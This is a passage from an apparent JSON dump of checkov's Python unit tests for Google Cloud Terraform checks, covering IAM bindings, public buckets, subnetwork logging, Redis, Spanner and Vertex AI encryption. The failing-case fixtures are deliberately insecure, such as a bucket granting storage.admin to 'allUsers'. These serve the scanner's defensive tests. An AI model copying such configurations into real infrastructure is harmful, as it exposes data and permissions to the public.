    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleProjectDefaultNetwork import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleProjectDefaultNetwork(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"google_project\" \"my_project\" {\n                  name       = \"My Project\"\n                  project_id = \"your-project-id\"\n                  org_id     = \"1234567\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project']['my_project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"google_project\" \"my_project\" {\n                          name       = \"My Project\"\n                          project_id = \"your-project-id\"\n                          org_id     = \"1234567\"\n                          auto_create_network   = false\n                        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project']['my_project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleProjectImpersonationRoles.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleProjectImpersonationRole import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleProjectImpersonationRoles(unittest.TestCase):\n\n    def test_failure_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_binding\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/serverless.serviceAgent\"\n            \n              members = [\n                \"user\",\n                \"serviceAccount:test-compute@developer.gserviceaccount.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_binding']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_member\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/iam.workloadIdentityUser\"\n              member  = \"serviceAccount:test-compute@developer.gserviceaccount.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_binding\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/other\"\n            \n              members = [\n                \"user@mail.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_binding']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_member\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/other\"\n              member  = \"user@mail.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleProjectMemberDefaultServiceAccount.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleProjectMemberDefaultServiceAccount import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleProjectMemberDefaultServiceAccount(unittest.TestCase):\n\n    def test_failure_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_binding\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/editor\"\n            \n              members = [\n                \"user\",\n                \"serviceAccount:test-compute@developer.gserviceaccount.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_binding']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_member\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/editor\"\n              member  = \"serviceAccount:test-compute@developer.gserviceaccount.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_binding(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_binding\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/editor\"\n            \n              members = [\n                \"user@mail.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_binding']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_member(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_member\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/editor\"\n              member  = \"user@mail.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleRoleServiceAccountUser.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleRoleServiceAccountUser import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleRoleServiceAccountUser(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_member\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/iam.serviceAccountUser\"\n              member  = \"user:jane@example.com\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_project_iam_binding\" \"project\" {\n              project = \"your-project-id\"\n              role    = \"roles/iam.serviceAccountTokenCreator\"\n\n              members = [\n                \"user:jane@example.com\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_binding']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"google_project_iam_member\" \"project\" {\n          project = \"your-project-id\"\n          role    = \"roles/editor\"\n          member  = \"user:jane@example.com\"\n        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_project_iam_member']['project']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleStorageBucketNotPublic.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleStorageBucketNotPublic import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleStorageBucketNotPublic(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"google_storage_bucket_iam_member\" \"member\" {\n          bucket = google_storage_bucket.default.name\n          role = \"roles/storage.admin\"\n          member = \"allUsers\"\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_storage_bucket_iam_member']['member']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"google_storage_bucket_iam_binding\" \"binding\" {\n          bucket = google_storage_bucket.default.name\n          role = \"roles/storage.admin\"\n          members = [\n            \"user:jane@example.com\",\n            \"allAuthenticatedUsers\"\n          ]\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_storage_bucket_iam_binding']['binding']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"google_storage_bucket_iam_member\" \"member\" {\n                  bucket = google_storage_bucket.default.name\n                  role = \"roles/storage.admin\"\n                  member = \"user:jane@example.com\"\n                }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_storage_bucket_iam_member']['member']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"google_storage_bucket_iam_binding\" \"binding\" {\n                  bucket = google_storage_bucket.default.name\n                  role = \"roles/storage.admin\"\n                  members = [\n                    \"user:jane@example.com\"\n                  ]\n                }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_storage_bucket_iam_binding']['binding']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleStorageBucketUniformAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleStorageBucketUniformAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleStorageBucketUniformAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleStorageBucketUniformAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_storage_bucket.enabled\",\n        }\n\n        failing_resources = {\n            \"google_storage_bucket.default\",\n            \"google_storage_bucket.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleStoragePublicAccessPrevention.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleStoragePublicAccessPrevention import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleStoragePublicAccessPrevention(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleStoragePublicAccessPrevention\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_storage_bucket.enforced\",\n        }\n\n        failing_resources = {\n            \"google_storage_bucket.inherited\",\n            \"google_storage_bucket.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleStorageVersioningEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.CloudStorageVersioningEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudStorageVersioningEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudStorageVersioningEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_storage_bucket.pass\",\n        }\n\n        failing_resources = {\n            \"google_storage_bucket.fail\",\n            \"google_storage_bucket.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleSubnetworkIPV6PrivateGoogleEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleSubnetworkIPV6PrivateGoogleEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleSubnetworkIPV6PrivateGoogleEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleSubnetworkIPV6PrivateGoogleEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_subnetwork.pass_out\",\n            \"google_compute_subnetwork.pass_bidi\",\n        }\n\n        failing_resources = {\n            \"google_compute_subnetwork.fail\",\n            \"google_compute_subnetwork.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 11)  # 7 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleSubnetworkLoggingEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleSubnetworkLoggingEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleSubnetworkLoggingEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleSubnetworkLoggingEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_subnetwork.enabled\",\n        }\n\n        failing_resources = {\n            \"google_compute_subnetwork.default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 5)  # 3 Unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleSubnetworkPrivateGoogleEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleSubnetworkPrivateGoogleEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleSubnetworkPrivateGoogleEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleSubnetworkPrivateGoogleEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_subnetwork.pass\",\n            \"google_compute_subnetwork.pass2\",\n        }\n\n        failing_resources = {\n            \"google_compute_subnetwork.fail\",\n            \"google_compute_subnetwork.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 8)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleVertexAINotebookShieldedVM.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleVertexAINotebookShieldedVM import check\nfrom checkov.terraform.runner import Runner\n\nclass TestGoogleVertexAINotebookShieldedVM(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleVertexAINotebookShieldedVM\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_notebooks_instance.pass',\n        }\n        failing_resources = {\n            'google_notebooks_instance.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_MemorystoreForRedisAuthEnabled.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.MemorystoreForRedisAuthEnabled import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMemorystoreForRedisAuthEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_MemorystoreForRedisAuthEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_redis_instance.pass',\n        }\n        failing_resources = {\n            'google_redis_instance.fail1',\n            'google_redis_instance.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_MemorystoreForRedisInTransitEncryption.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.MemorystoreForRedisInTransitEncryption import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMemorystoreForRedisInTransitEncryption(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_MemorystoreForRedisInTransitEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_redis_instance.pass',\n        }\n        failing_resources = {\n            'google_redis_instance.fail',\n            'google_redis_instance.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_PubSubPrivateTopic.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.PubSubPrivateTopic import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPubSubPrivateTopic(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PubSubPrivateTopic\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_pubsub_topic_iam_binding.pass1',\n            'google_pubsub_topic_iam_binding.pass2',\n            'google_pubsub_topic_iam_member.pass1',\n            'google_pubsub_topic_iam_member.pass2',\n\n        }\n        failing_resources = {\n            'google_pubsub_topic_iam_binding.fail1',\n            'google_pubsub_topic_iam_binding.fail2',\n            'google_pubsub_topic_iam_binding.fail3',\n            'google_pubsub_topic_iam_binding.fail4',\n            'google_pubsub_topic_iam_member.fail1',\n            'google_pubsub_topic_iam_member.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_SpannerDatabaseDeletionProtection.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.SpannerDatabaseDeletionProtection import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSpannerDatabaseDeletionProtection(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SpannerDatabaseDeletionProtection\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_spanner_database.pass',\n            'google_spanner_database.pass2',\n        }\n        failing_resources = {\n            'google_spanner_database.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_SpannerDatabaseDropProtection.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.SpannerDatabaseDropProtection import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSpannerDatabaseDropProtection(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SpannerDatabaseDropProtection\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_spanner_database.pass',\n        }\n        failing_resources = {\n            'google_spanner_database.fail',\n            'google_spanner_database.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_SpannerDatabaseEncryptedWithCMK.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.SpannerDatabaseEncryptedWithCMK import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSpannerDatabaseEncryptedWithCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SpannerDatabaseEncryptedWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_spanner_database.pass',\n        }\n        failing_resources = {\n            'google_spanner_database.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_VertexAIDatasetEncryptedWithCMK.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.VertexAIDatasetEncryptedWithCMK import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVertexAIDatasetEncryptedWithCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_VertexAIDatasetEncryptedWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_vertex_ai_dataset.pass',\n        }\n        failing_resources = {\n            'google_vertex_ai_dataset.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_VertexAIMetadataStoreEncryptedWithCMK.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.VertexAIMetadataStoreEncryptedWithCMK import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVertexAIMetadataStoreEncryptedWithCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_VertexAIMetadataStoreEncryptedWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_vertex_ai_metadata_store.pass',\n        }\n        failing_resources = {\n            'google_vertex_ai_metadata_store.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_VertexAINotebookEnsureIntegrityMonitoring.py",
